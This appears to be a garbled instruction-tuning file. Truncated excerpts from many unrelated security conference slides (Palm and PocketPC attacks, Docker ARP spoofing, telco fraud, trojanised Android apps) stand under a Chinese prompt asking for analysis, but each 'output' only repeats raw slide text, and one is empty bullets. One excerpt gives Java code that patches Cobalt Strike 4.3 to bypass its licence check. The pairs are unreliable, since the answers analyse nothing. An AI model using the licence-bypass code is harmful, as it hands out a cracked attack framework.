HKEY_LOCAL_MACHINE\WDMDrivers
•
[HKEY_CLASES_ROOT\.cpl]
(default) = "cplfile"
[HKCR\cplfile\Shell\Open\Command]
(default) = "\Windows\ctlpnl.exe %1"
Where to get more information?
• Microsoft
–How to switch the password
screen
– Q314989 - Let Me In: Pocket PC Password
User Interface Redirect Sample
– http://support.microsoft.com/default.aspx?scid=kb;en-
us;314989
PocketPC attacks
• Activesync cradle
– Data security is unidirectional – you can
put a system password on PocketPC but
not on Laptop
• ActiveSync DOS
– http://www.irmplc.com/advisories The
(ActiveSync) service runs on TCP port
5679 and by connecting to this port and
sending…
• Removable media
Example: HP Ipaq 5455
5455 Weaknesses
• Synchronization Security
– Spontaneous Password Lapses
• http://forums.itrc.hp.com/cm/QuestionAn
swer/1,,0x504cb82b2d63d71190080090
279cd0f9,00.html
• Removable Media Security
– New definition of „Plug & Play‟
Palm
• HotSync Vulnerabilities
– NotSync
– http://www.atstake.com/research/advisories/2000/a092600-
1.txt
• PDD
Palm Toolkit
• PDD
• NotSync
• PDA Seizure
– http://www.paraben-
forensics.com/index.html
• RsrcEdit
– http://www.quartus.net/prod
ucts/rsrcedit/
– File Mana...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

VirGraf101:
An Introduction to Virtual Graffiti
Tottenkoph
What is virtual graffiti?
• Virtual objects and/or digital messages,
images, animations, etc.
• Applied to or viewable from public locations
• Can be viewed through:
– Computers
– Mobile devices
– Billboards
– Signs
– Side of buildings
What we’re covering
• History of graffiti
• Examples
• Legal concerns and implications
• Who and why?
History: Prehistoric
• Supposedly done over 30,000 years ago
• Started with cave paintings
– Used animal bone and pigments
• Debatable because:
– Used during religious ceremonies
– Sometimes endorsed by society
History: Ancient Greece
• First instance was in Ephesus
• Etched in stone and mosaics
• Supposedly a prostitution advert
• Picture of:
– Heart-shaped handprint
– Footprint
– Number
History: Ancient Rome
• Included: curses, quotes,
alphabets, declarations of
love, slogans
• Some was preserved in
Pompeii
• Most well-known:
– “suspirium puellarum
Celadus thraex”
– Address for Novellia
Primigenia of Nuceria
– “mansueta tene”
History: Misc. Pre-Modern
• Mayans at the site of Tikal in Guatemala
• Vikings in Rome, Ireland, and Constantinople
• Renaissance artists at Nero’s Domus Aurea
• Signature Rock
• French soldiers during the Napoleonic
campaign of Egypt
History: Modern Graffiti (60s-70s)
• Used mostly by political
activists and gangs
• Moved from streets to
subway systems
• Goal: out-tag and out-
bomb other artists
• Polka dots, cross-hatches,
and checkers became
popular
• Spray paint helped a lot
• “Top-to-bottoms” came
about
History: Modern Graffiti (1980s)
• Harder to be a graffiti
artist because:
– Crack
– Police
– Store owners
– Metropolitan Transit
Authority
• As a result, street and
rooftop graffiti became
more popular.
History: Modern Graffiti (2000s)
• Utilized as guerilla
advertising by companies
– IBM
– Sony
• Mainstream pop culture
started to catch on
– Video games (Jet Set Radio
Future, Rakugaki Okaku)
– Clothes design (Marc Ecko)
“Tried and...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Verisign CONFIDENTIAL
Verisign CONFIDENTIAL
Verisign® iDefense®
Cyber Security Trends
Rick Howard, iDefense General Manager
June 22, 2011
2
How Technical Are You?
3
Agenda
Operation Aurora Impact
Stuxnet Impact
Cyber Security Disruptors
4
Learning Points
Theory Fact
5
Operation Aurora Impact
6
The Aurora Attacks – 5 Unprecedented Changes
7
The Aurora Attacks – 5 Unprecedented Changes
8
Defense Contractor
20
Smashed
The Aurora Attacks – 5 Unprecedented Changes
9
The Aurora Attacks – 5 Unprecedented Changes
10
The Aurora Attacks – 5 Unprecedented Changes
11
Moonlight Maze
Titan Rain
German Chancellor
Angela Merkel
The Aurora Attacks – 5 Unprecedented Changes
12
"We have been briefed by
Google on these allegations,
which raise very serious
concerns and questions,"
she said. We look to the
Chinese government for an
explanation."
Source: Network World: 13 Jan 2010
"We look to Chinese
authorities to conduct a
thorough investigation of the
cyber intrusions that led
Google to make this
announcement. We also look
for that investigation and its
results to be transparent."
Source: Washington Times: 21 Jan 2010
"It was a very open and candid conversation. We agreed
we would continue this conversation in the context of our
ongoing dialogue."
Source: France 24: 28 Jan 2010
Foreign Minister Yang Jiechi
The Aurora Attacks – 5 Unprecedented Changes
13
The Aurora Attacks – 5 Unprecedented Changes
14
The Aurora Attacks – 5 Unprecedented Changes
15
$100,000,000
Vulnerability Assessment
Capabilities Research
The Aurora Attacks – 5 Unprecedented Changes
16
The Aurora Attacks – 5 Unprecedented Changes
17
Moonlight Maze
Titan Rain
The Aurora Attacks – 5 Unprecedented Changes
Byzantine Hades
18
The Aurora Attacks – 5 Unprecedented Changes
19
The Aurora Attacks – 5 Unprecedented Changes
20
Is Hard …
But not Impossible
Confidence is High
The Aurora Attacks – 5 Unprecedented Changes
21
Is Hard …
But not Impossible
Confidence is High
The Aurora Attacks – 5 Unprecedented Chan...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

CobaltStrike 4.3 简单修改
几个月没有使用CobaltStrike了，因此最新的4.3，我也没有自己修改的版本。今天为了测试
HiveNightmare于是乎修改了下。
网上有@Twi1ight同学写的比较通用的CSAgent。
CSAgent使用需要引入jar包，并且windows下不能使用cobaltstrike.exe去启动。我个人还是习惯一个
cobaltstrike.jar，只做必要的修改，因此就自己修改了下。
主要修改了Authorization.class、BeaconData.class，两文件。
方便新手同学自己简单修改，我还是详细说下步骤：
Authorization.java，我在代码中标注，可以自定义的部分，主要还是watermark。
package common;
import java.io.*;
public class Authorization
{
    protected int watermark;
    protected String validto;
    protected String error;
    protected boolean valid;
    public Authorization() {
        this.watermark = 0;
        this.validto = "forever";
        this.error = null;
        this.valid = true;
        try {
            this.watermark = 29999999; //这个watermark也是id，建议自己定义，随便修改成
其他数字，比如：28888888
            MudgeSanity.systemDetail("valid to", "perpetual");
            MudgeSanity.systemDetail("id", this.watermark + "");
 SleevedResource.Setup(hex2bytes("3a4425490f389aeec312bdd758ad2b99"));
        }
        catch (Exception ex2) {
            MudgeSanity.logException("auth file parsing", ex2, false);
        }
    }
    public byte[] hex2bytes(String s) {
        int len = s.length();
        byte[] data = new byte[len / 2];
        for (int i = 0; i < len; i += 2) {
            data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) +
Character.digit(s.charAt(i+1), 16));
        }
        return data;
    }
BeaconData.java
    public boolean isPerpetual() {
        return "forever".equals(this.validto);
    }
    public boolean isValid() {
        return this.valid;
    }
    public String getError() {
        return this.error;
    }
    public String getWatermark() {
        return this.watermark + "";
    }
    public long getExpirationDate() {
        return CommonUtils.parseDate(this.validto, "yyyyMMdd");
    }
    public boolean isExpired() {
        return System.currentTimeMillis() > this.getExpirationDate() +
CommonUtils.days(1);
    }
    public String whenExpires() {
        final l...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Dmitry Kurbatov
Sergey Puzankov
 Vladimir Kropotov
Fractured Backbones –
Incidents Detection and
Forensics in Telco Networks
ptsecurity.com
About us
Joint research of Incident Response and Telco Security Teams
Introduction
Technologies behind telco networks
Чем мы пользуемся сегодня
и на основе каких технологий
это работает
Types of Incidents
• Subscriber location tracking
• Call interception (wiretapping)
• SMS interception and spoofing
• DoS, including balance DoS
• Other Fraudulent activities
Phone number
+7 777 5555555
GPS location
Incidents statistics. Major threats
Service Disruption
Data Leakage
Fraud
Percentage of vulnerable networks
Incidents statistics. Data leakage
Subscriber’s Balance Disclosure
Terminating SMS Interception
Subscriber Location Discovery
Voice Call Interception
Subscriber’s Data Leakage
Percentage of vulnerable networks
Incidents statistics. Fraud
Terminating Call Redirection
Money Transfer via USSD
Subscriber Profile Change
Originating Call Redirection
Percentage of vulnerable networks
Incident victims
• Mobile operator subscribers
• Mobile operator
• Other Mobile operators and their subscribers
• Third parties (often Banks and Their clients)
Prerequisites of attacks
• Internal intruder or Staff initiated attacks
• Level0 (almost) Kiddies - attacks that not require deep
technical knowledge
•SMS fraud as preliminary stage of malware based attacks
•Fraud with social engineering (direct target is victim)
•Proxified fraud with social engineering
• Level1(Locally initiated) - attacks that require technical
knowledge about Radio Access Network protocols
•IMSI Catcher
•Bluetooth
•Calls and SMS from the subscriber located nearby
•Level2 (Global impact) - attacks that require
technical knowledge about telco infrastructure and
protocols
Lightweight scenarios (Level0)
Kiddies fraud examples Typosquatting works well even here
http://journal.tinkoff.ru/declined/
Not legit
Legit
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

The$Open$Crypto$Audit$Project:$
Our$Story6
Kenneth White & Matthew Green
DEF CON 22 | 2014.08.08
Open$Crypto$Audit$Project6
Everyone has a story. This is ours.
DEF CON 22 | 2014.08.08
Agenda6
•  First Principles
•  Post-Snowden Era
•  The TrueCrypt Story
•  Open Crypto Audit Project
•  Secure Coding & Trust
•  Looking Ahead
•  Open Discussion (and swag!)
DEF CON 22 | 2014.08.08
About$Us6
DEF CON 22 | 2014.08.08
Kenneth$White6
•  Interests: RT signals, embedded systems, analytics
•  First DEFCON: DC10
•  Formal training: bio-signals (EEG/ERP, MRI, PET,
EKG, EOG)
•  Early career: databases, *nix, RTOS, h/w drivers
•  Lifecycle: FDA (cardiac safety), SEI SEPG, IA
•  Defense: network security, API endpoints
•  Recently: public cloud security, ML/classification,
safety-critical systems, breaking crypto/networks/
websites/OS’
•  Now: OCAP, Linux Foundation CII, NGO security
•  @kennwhite
DEF CON 22 | 2014.08.08
I$like$to$work$on$interesting$problems6
DEF CON 22 | 2014.08.08
MaDhew$Green6
•  Johns Hopkins University: Computer Science
•  Teaches applied cryptography
•  Builds secure systems
•  Trained under Susan Hohenberger &Avi Rubin
•  Former senior research staff:  AT&T Labs
•  On-going Research includes:
o  Techniques for privacy-enhanced information storage
o  Anonymous payment systems (including ZeroCoin)
o  Bilinear map-based cryptography
•  @matthew_d_green
DEF CON 22 | 2014.08.08
MaDhew$Green6
DEF CON 22 | 2014.08.08
(not his actual Dachshunds)
Long$journey$to$DEFCON$(no,$really)6
DEF CON 22 | 2014.08.08
(my actual Shepherds, semi-medicated)
“I’m here to share what I know,
and learn with and from you.”
   — Jack Daniel
DEF CON 22 | 2014.08.08
First$Principles6
“If a bad guy can persuade you to run his program on
your computer, it's not your computer anymore.”
— Scott Culp
DEF CON 22 | 2014.08.08
First$Principles6
“If a bad guy can persuade you to run his program on
your computer, it's not your computer anymore.”
—...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

apk-message
0x00
appandroidmessage
0x01 message
message messagedemo
appA
Bandroid
1. message
Message message= new Message()
Message message= Message.obtain()
Messager message= handler.obtaionMessager()
obtain
2.
Message message = Message.obtain(); //
message.what = 0; //whatmessage code
message.arg1 = 1; //int
message.arg2 = 2; //int
message.obj = "aaaaa"; //
//bundlek-vbundlemap
Bundle bundle = new Bundle();
bundle.putString("name","");
message.setData(bundle);
3. handler
handler
//handlerhandleMessage
private Handler handler = new Handler(){
    @Override
    public void handleMessage(Message msg){
        super.handleMessage(msg);
        int msgcode = msg.what;//code
        int arg1 = msg.arg1; //
        int arg2 = msg.arg2;
        String resultMsg = (String)msg.obj; //string
        Bundle bundle = msg.getData();//bundle
        String name = bundle.getString("name");
    }
}
4.
1. messagehandlermsg.sendToTarget()handler
2. messagehandler.sendMessage(msg)handler
Ahandlermsgmsg
BBmsgsendToTargetAhandler
demomainhandlersetHandler
handlermsgmsgsendMessage
0x02 app
apk
//apkclasses.dex
d2j-dex2jar.sh classes.dex
//jarjd-guijar
urlclass
setProperty
xxx_url
setPropertygetPropertyxxxUrl
ThreadMessage
0x03
handler
threadMessage3handlerparamMessageobj
sendRequestthreadMessage3objmDataurl
sendRequest
post bodyurlrequestWithURL
makeHttpConn
0x03
PUTmsgmDatamData
mDatathreadMessage
1. sendToTargethandler
2. case 5 msg.what5threadMessage
3.
paramh.e()utf8byte
1. paramh.e()
2. xxxxResponse
e
xmlbodyplistplist
body
makeBaseResponse
plist
0x04
plistjsonplist
body
1. PUTurl
2. header
3. bodyplist
0x05
messagefrida


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

•
•
•
•
•
•
•
PythonConsole.cmd
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Zhanlu Lab, Tencent Inc.
针对Docker容器网络的ARP欺骗
与中间人攻击
演讲人：王凯 Kame Wang
2019
关于我
• 王凯，Kame Wang；
• 腾讯安全湛泸实验室高级研究员；
• 中国科学院大学信息安全博士；
• 研究兴趣包括：云安全、移动安全、区块链、自动化漏洞挖掘。
PART 01
研究背景
目录
CONTENTS
PART 02
本地测试
PART 03
云端测试
PART 04
讨论与总结
01
02
03
04
•
Docker及其虚拟网络
•
ARP欺骗与中间人攻击
PART.01
研究背景
CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE
TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED
TITLE WORDS.
容器技术简介
• 共享底层操作系统的进程间隔离技术
• 底层技术：Namespace、Cgroup …
• 优缺点 (vs 虚拟化技术)：
ü 优点：低成本、高效率、易部署
ü 缺点：共享内核，隔离不充分
Docker容器网络
• 系统向Docker实例提供网络通信能力
① 宿主系统虚拟网桥 (bridge);
② 宿主系统创建一对虚拟网口；
③ 将虚拟网口分别添加到Docker实例和虚拟网桥.
ARP欺骗
• 网络通信基于IP地址 vs 网卡接受数据基于Mac地址
• ARP表：IP地址 -> MAC地址
• ARP查询与反馈
• ARP欺骗：ARP数据包真实性无法验证
/ # arp -a
? (172.17.0.4) at 02:42:ac:11:00:04 [ether]  on eth0
? (172.17.0.2) at 02:42:ac:11:00:04 [ether]  on eth0
? (172.17.0.1) at 02:42:fa:4f:be:25 [ether]  on eth0
/ # arp -a
? (172.17.0.4) at 02:42:ac:11:00:04 [ether]  on eth0
? (172.17.0.1) at 02:42:fa:4f:be:25 [ether]  on eth0
中间人攻击
• 以ARP欺骗为基础可实现局域网内的中间人攻击
例：欺骗受害者，使其ARP缓存表中网关IP对应Mac地址遭到篡改。
• 中间人攻击的传统实现思路
使用原始套接字，在数据链路层进行数据帧的收发、监控和修改。
• 攻击场景举例
钓鱼攻击、会话劫持、Https中间人攻击……
在Docker容器网络里也是这样的吗？
•
测试环境搭建
•
ARP欺骗的实现方法及成功条件
•
中间人攻击的实现方法及成功条件
PART.02
本地测试
CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE
TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED
TITLE WORDS.
本地测试环境的搭建
• 创建3个Docker容器实例 (Ubuntu映像)：
① 正常服务（No.1），正常Http服务器;
② 受害者（No.2），向正常服务器发送Http请求;
③ 攻击者（No.3），进行ARP欺骗和中间人攻击。
• 中间人攻击PoC效果：
实现服务内容的篡改。
// 直接请求正常服务
/ # wget -O - 172.17.0.2
Connecting to 172.17.0.2 (172.17.0.2:80)
hello from NORMAL server.
 // 直接请求攻击者的恶意服务
/ # wget -O - 172.17.0.4
Connecting to 172.17.0.4 (172.17.0.4:80)
hello from MIMA server.
基于设备 VS 基于Docker的攻击
Linux Kernel
Attacker
Process
Linux Kernel (Bridge)
Docker
Instance 1
Docker
Instance 2
Docker
Instance 3
ARP欺骗的实现方法
① 创建原始套接字：操控数据链路层数据。
② 构造数据帧头部：
目的Mac为受害者，源Mac为攻击者。
③ 构造ARP包数据（即数据帧内容）：
目的IP为受害者IP，源IP为伪造目标（正常服务器）IP。
④ 重复发送上述恶意构造的数据包.
Linux Kernel
Attacker
Process
Linux Kernel (Bridge...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#BHUSA @BlackHatEvents
Chasing Your Tail With A
Raspberry Pi
Matt Edmondson
#BHUSA @BlackHatEvents
Information Classification: General
Why Are We Talking About This?
• For some people, trying to figure out if they’re being
followed is a matter of physical safety for
themselves or others
• I was approached by a friend in this situation
looking for a technical option to use in conjunction
with traditional tradecraft
#BHUSA @BlackHatEvents
Information Classification: General
The New (i.e. Really Old) SDR: Surveillance
Detection Route
#BHUSA @BlackHatEvents
Information Classification: General
One Option: Looking for Persistent Digital
Signatures
• Go to Starbucks to grab a drink
• Hit the gas station to top off the tank
• Head over to the bookstore to look at magazines
• Now… Did I see any devices at all three locations?
#BHUSA @BlackHatEvents
Information Classification: General
One Option: Looking for Persistent Digital
Signatures Cont.
• We’ll accomplish this by passively detecting Wi-Fi
and Bluetooth devices we observe around us
• The devices could be part of an active connection, or
just looking for networks to connect to
#BHUSA @BlackHatEvents
Information Classification: General
Hardware
• For hardware I wanted to use things that I had
laying around in a closet
• I imagine many of you have these same things
gathering dust somewhere and if not, they’re cheap
#BHUSA @BlackHatEvents
Information Classification: General
Platform: Raspberry Pi is One Cheap Option
#BHUSA @BlackHatEvents
Information Classification: General
Wireless: Something You Can Put In Monitor
Mode
#BHUSA @BlackHatEvents
Information Classification: General
Power: A Battery Pack or Other Power
Source
#BHUSA @BlackHatEvents
Information Classification: General
Display: A Screen For Real Time Monitoring
#BHUSA @BlackHatEvents
Information Classification: General
Software: Kismet
• Open source with a fantastic Discord server
• Easy to install
• Passive
• Supports Wi-Fi, Bluetooth, SDR, ZigBee...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Taking your
ball and going
home; building
your own secure
storage space that
mirrors Dropbox's
functionality
Phil Cryer (@fak3r)
open source technologist
DEFCON 19 - August 2011
$ whoami
phil
$ whoami
phil
$ alias phil=@fak3r
http://aﬁstfulofsoundtracks.blogspot.com
$ whoami
phil
$ alias phil=@fak3r
$ cat brief_bio
- employed as a systems engineer
- security researcher and privacy advocate (EFF)
- currently working on sharing biodiversity data
- aim to balance security with openness
- have worked with Linux and open source for over ten years
http://dropbox.com
Always have your stuff, wherever you are.
http://dropbox.com
Brief history
2007 June - founded, receives series A funding
2007 September - receives $1.2M in seed funding (Y Combinator)
2007 October - receives $6M in Series A funding
2008 Fall - secures $7.2M Series A funding  (Sequoia Capital, Accel Partners)
http://www.crunchbase.com/company/dropbox
Dropbox enables people to sync ﬁles and media across platforms and devices, in order to
have them available from any location.
The service also allows people to easily and quickly share ﬁles with others.
Dropbox provides users with 2 GB of space for free, and they can pay for more.
http://techcrunch.com/2011/04/17/dropbox-hits-25-millions-users-200-million-ﬁles-per-day
People use Dropbox for personal storage, ﬁle syncing between machines, and group
collaboration on projects.
They have desktop software for the usual OSs (Mac OSX, Linux and Windows) and mobile
access, that makes things run smoothly.
http://techcrunch.com/2011/04/17/dropbox-hits-25-millions-users-200-million-ﬁles-per-day
Current growth
2009 2 millions users
2010 4 million users
2011 April - Dropbox claims to have 25 million users of its free service
http://techcrunch.com/2011/04/17/dropbox-hits-25-millions-users-200-million-ﬁles-per-day
“Today, Dropbox has 25 million users and 200 million ﬁles are “saved” daily, and
more than 1 million every ﬁve minutes.”
http://techcrunch.com/2011/04/...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Want strong isolation?
Just reset your processor.
How we can build more secure systems by applying
the age-old wisdom of “turning it off and on again”
Anish Athalye, Adam Belay, Frans Kaashoek, Robert Morris, Nickolai Zeldovich
Security devices are increasingly common
Smartphone apps
Custom hardware
2
They are getting better
Smaller TCB
SMS 2FA
Smartphone
TOTP
Hardware
TOTP
Smartphone
U2F
Hardware
U2F
Hardware
Cryptocurrency
wallet
3
Paradigm shift
2FA: More secure login on PC
Transaction approval,
Removes PC from TCB
4
Can we make the PC secure instead?
5
• Endless bugs:
• Application bugs
• OS bugs (kernels > 20M LOC)
• Micro-architectural CPU bugs (Spectre, Meltdown, Foreshadow, Zombieload)
• Hardware bugs (Rowhammer, RAMBleed)
npm install event-stream
https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident
Transaction approval on simple devices
6
Remove PC from TCB
Untrusted PC
Trusted hardware
(has private key)
7
TX
Sign(TX)
Remove PC from TCB
8
Not just cryptocurrencies
9
Before: confirm on PC
After: must confirm on device, which signs transaction
Not just cryptocurrencies
10
Transaction approval everywhere!
•••
11
Transaction approval everywhere!
•••
12
Sharing results in isolation bugs
• Some past wallet bugs
• Bad argument validation in syscalls
• Bad configuration of MPU
[Riscure @ Black Hat 2018; Ledger Blog;
Trezor Blog]
13
USB
SoC:
CPU+RAM,
Flash,
Peripherals
Buttons
Display
Security through physical separation
14
Simulating physical separation
15
Reset-based design
16
CPU
RAM
CPU
RAM
UART
Flash
Buttons
Display
USB
Application core
Management core
Syscalls:
exit()
exit_state(state)
Runs third-party code;
has no persistent state
Manages persistent state;
never runs third-party code
What needs to be reset?
17
CPU
RAM
CPU
RAM
UART
Flash
Buttons
Display
USB
Application core
Management core
Purging state in a CPU, attempt #1
18
cut power
Purging state in a CPU, attempt #2
19
reset!
What does reset mean?
20
RISC-V Instruction Set M...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Defending Networks with
Incomplete Information: A
Machine Learning Approach
Alexandre Pinto
alexcp@mlsecproject.org
@alexcpsec
@MLSecProject
• This is a talk about DEFENDING not attacking
– NO systems were harmed on the development of
this talk.
– We are actually trying to BUILD something here.
• This talk includes more MATH than the daily
recommended intake by the FDA.
• You have been warned...
** WARNING **
•
12 years in Information Security, done a little bit of
everything.
•
Past 7 or so years leading security consultancy and
monitoring teams in Brazil, London and the US.
– If there is any way a SIEM can hurt you, it did to me.
•
Researching machine learning and data science in
general for the past year or so. Participates in Kaggle
machine learning competitions (for fun, not for proﬁt).
•
First presentation at DefCon! (where is my shot?)
Who’s this guy?
• Security Monitoring: We are doing it wrong
• Machine Learning and the Robot Uprising
• Data gathering for InfoSec
• Case study: Model to detect malicious
activity from log data
• MLSec Project
• Attacks and Adversaries
• Future Direction
Agenda
• Logs, logs everywhere
The Monitoring Problem
• Logs, logs everywhere
The Monitoring Problem
•
SANS Eighth Annual 2012 Log and Event Management Survey Results (http://
www.sans.org/reading_room/analysts_program/SortingThruNoise.pdf)
Are these the right tools for the job?
•
SANS Eighth Annual 2012 Log and Event Management Survey Results (http://
www.sans.org/reading_room/analysts_program/SortingThruNoise.pdf)
Are these the right tools for the job?
• Rules in a SIEM solution invariably are:
– “Something” has happened “x” times;
– “Something” has happened and other “something2”
has happened, with some relationship (time, same
ﬁelds, etc) between them.
• Conﬁguring SIEM = iterate on combinations until:
– Customer or management is fooled satisﬁed; or
– Consulting money runs out
• Behavioral rules (anomaly detection) helps a bit
with the “x”s, but still, very la...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Linux-Stack Based V2X Framework: All You Need to
Hack Connected Vehicles
Duncan Woodbury, Nicholas Haltmeyer
{p3n3troot0r@protonmail.com, ginsback@protonmail.com}
July 29, 2017
p3n3troot0r, ginsback
DEFCON V2X
July 29, 2017
1 / 38
State of the World: (Semi)Autonomous Driving
Technologies
Vehicular automation widespread in global industry
Automated driving technologies becoming accessible to general public
Comms protocols used today in vehicular networks heavily ﬂawed
New automated technologies still using CANBUS and derivatives
p3n3troot0r, ginsback
DEFCON V2X
July 29, 2017
2 / 38
Stages of Autonomy
Today: Stage 2 Autonomy - Combined Function Automation
V2X: Stage 3 Autonomy - Combined Function Automation
) Leverage vehicular ad hoc mesh network for exchange of safety
and actor/world state information
p3n3troot0r, ginsback
DEFCON V2X
July 29, 2017
3 / 38
Critical Aspects of V2X
Reliable high-throughput ad hoc mesh networking and exchange in a
real-time cyberphysical environment
Standardization of Stage 3 automation in federal and consumer
transportation systems
Enhanced safety and traﬃc optimization technologies leveraging V2X
p3n3troot0r, ginsback
DEFCON V2X
July 29, 2017
4 / 38
Technologies Using V2X
Collision avoidance (Forward Collision Warning) systems
Advanced Driver Assistance Systems (ADAS)
Cooperative adaptive cruise control
Automated ticketing and tolling
p3n3troot0r, ginsback
DEFCON V2X
July 29, 2017
5 / 38
Impact of V2X: Why Care?
Most importantly: self-driving cars are shiny
Your children will (would) ride in these
Enables safety functions not possible with onboard systems
V2X technologies applicable across range of cyberphysical systems
NHTSA V2V NPRM: V2V to be standardized in light vehicles
It‘s happening: You want in?
p3n3troot0r, ginsback
DEFCON V2X
July 29, 2017
6 / 38
Tangible Beneﬁts
According to the USDOT,
Safety
Prevent 25,000 to 592,000 crashes annually
Save 49 to 1,083 lives
Avoid 11,000 to 270,000 injuries
Prevent 31,000 to 728,000 property...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

SSD
  Data
  Evapora+on
DEF
  CON
  21
August
  2,
  2013
Bio
Data
  Remanence
Deleted
  Data
•  On
  magne+c
  hard
disks,
  data
  remains
+ll
  it
  is
  overwriEen
•
Image
  from
www.howstuﬀworks.com
DEMO
  on
  Windows
•  Observing
  data
  on
  a
  magne+c
  hard
  disk
  aMer
– Moving
  to
  Recycle
  Bin
– Emptying
  Recycle
  Bin
– FormaOng
  Drive
  (Quick)
– FormaOng
  Drive
  (Slow)
Forensics
  &
  Data
  Recovery
•  We
  can
  recover
  deleted
  data
•  Find
  evidence
  of
  crimes
•  Even
  aMer
  a
  format
•  Very
  few
  criminals
  know
  enough
  to
  use
encryp+on
  or
  forensic
  erasure
Useful
  Free
  Data
  Recovery
  Tools
•  Recuva
  for
  PC
•  Disk
  Drill
  for
  Mac
SSDs
•
From
  hEp://www.isuppli.com/Abstract/P28276_20130322152341.pdf
How
  SSDs
  Work
•  Data
  can
  be
  read
  and
wriEen
  one
  page
  at
  a
+me,
  but
  can
  only
  be
erased
  a
  block
  at
  a
+me
•  Each
  erasure
  degrades
the
  ﬂash—it
  fails
around
  10,000
erasures
•
From
  hEp://www.anandtech.com/
show/2738/5
Garbage
  Collec+on
•  SSD
  controller
  erases
  pages
  all
  by
  itself,
  when
it
  knows
  they
  are
  empty
•  The
  TRIM
  command
  is
  sent
  to
  the
  SSD
  when
  a
ﬁle
  is
  deleted
– But
  only
  if
  you
  use
  a
  the
  correct
  OS,
  Par++on
  type,
and
  BIOS
  seOngs
•  Yuri
  Gubanov
  calls
  this
  “Self-‐Corrosion”
  –
  I
  call
it
  Data
  Evapora;on
Demo
  on
  Mac:
  Disk
  Drill
•  Deleted
  ﬁles
from
  desktop
evaporate
  in
30-‐60
  min
Demo
  on
  PC
•  Save
  data
  on
  an
  SSD
•  Watch
  it
  evaporate!
•  How
  to
  test
  TRIM
– fsu;l
  behavior
  query
  DisableDeleteNo;fy
– Zero
  =
  TRIM
  enabled
When
  Does
  TRIM
  Work?
•  BIOS:
  Drive
  must
  be
  SATA
  in
  AHC...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

NETWORK FLOW ANALYSIS
DefCon 2008
Bruce Potter
gdead@shmoo.com
bpotter@pontetec.com
Copyright 2008 - Bruce Potter
INTRODUCTIONS
  Bruce Potter
  Founder of Ponte Technologies
  Focus on advanced defensive technologies
  Founder of The Shmoo Group
  We run ShmooCon as well as other events
  Co-author of several books and other stuff
  802.11 Security
  Mastering FreeBSD and OpenBSD Security
  Mac OS X Security
  Don’t believe anything you hear in Vegas
  It’s mostly made up for publicity, either personal or
corporate
  We’re not formally trained… we shoot from the hip
Copyright 2008 - Bruce Potter
FIRST, A PLUG
  No, I don’t get paid for this
  We’ll be talking a lot about data representation
and visualization
  This is not something to be entered into lightly…
there’s a lot of science and theory behind data
visualization
  Unfortunately it’s hard to bring analysis and
visualization concepts to the lay person in a
reasonable amount of time
Copyright 2008 - Bruce Potter
EDWARD TUFTE
  Probably best know for his slagging on PPT
  Created the Gettysburg Address as a PPT… amusing
  Published a series of books on data representation
and visualization
  Visual Explanations
  Envisioning Information
  The Visual Display of Quantitative Information
  Beautiful Evidence
  Teaches 1 day classes around the country on data
representation and visualization.
  Again, I’m not paid for any of this, but I seriously
recommend you go if you can
  http://www.edwardtufte.com/tufte/
  It’s darn near a religious experience for some
Copyright 2008 - Bruce Potter
IT Security Operations
Software
Network
IT Operations
Academic / Engineering
LET’S HAVE SOME STRUCTURE TO OUR
DISCUSSION
Honeypots
IDS, IR &
Flow Analysis
Software Security &
Software ACL’s
Firewalls & AAA Services
Patch management, procedures,
policy
Sophistication and Operational Cost
WHAT IS NETWORK ANALYSIS?
  Quite simply, looking a...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Security)Auditing)Mobile)Apps)
!
DEF)CON)23!
Sat.,)Aug)9,)2015)9C1!
Sam)Bowne)
City)College)San)Francisco!
Slides)and)projects)at)samsclass.info)
Adding&Trojans&to&Apps&
Slides'and'projects'at'samsclass.info'
Android&is&#1&
•  80%&market&
share&in&2014&
– Link&Ch&4a&
Slides'and'projects'at'samsclass.info'
App&Signing&
•  All&apps&must&be&signed&to&be&installed,&BUT&
– Android&allows&selfEsigned&cerGﬁcates&
•  Google&Play&is&the&"oﬃcial"&app&store,&BUT&
– Google&doesn't&police&it&well&
– Apps&can&be&installed&from&email,&Web&pages,&etc.&
Slides'and'projects'at'samsclass.info'
Android&Debug&
Bridge&
•  CommandEline&tool&
•  Allows&you&to&communicate&with&a&mobile&
device&via&a&USB&cable&or&an&SVD&running&
within&an&emulator&
•  Connects&to&device's&daemon&running&on&TCP&
port&5037&
Slides'and'projects'at'samsclass.info'
Useful&ADB&Commands&
•  push&
– Copies&a&ﬁle&from&your&computer&to&the&mobile&
device&
•  pull&
– Copies&a&ﬁle&from&the&mobile&device&to&your&
computer&
•  logcat&
– Shows&logging&informaGon&on&the&console&
– Useful&to&see&if&an&app&or&the&OS&is&logging&
sensiGve&informaGon&
Slides'and'projects'at'samsclass.info'
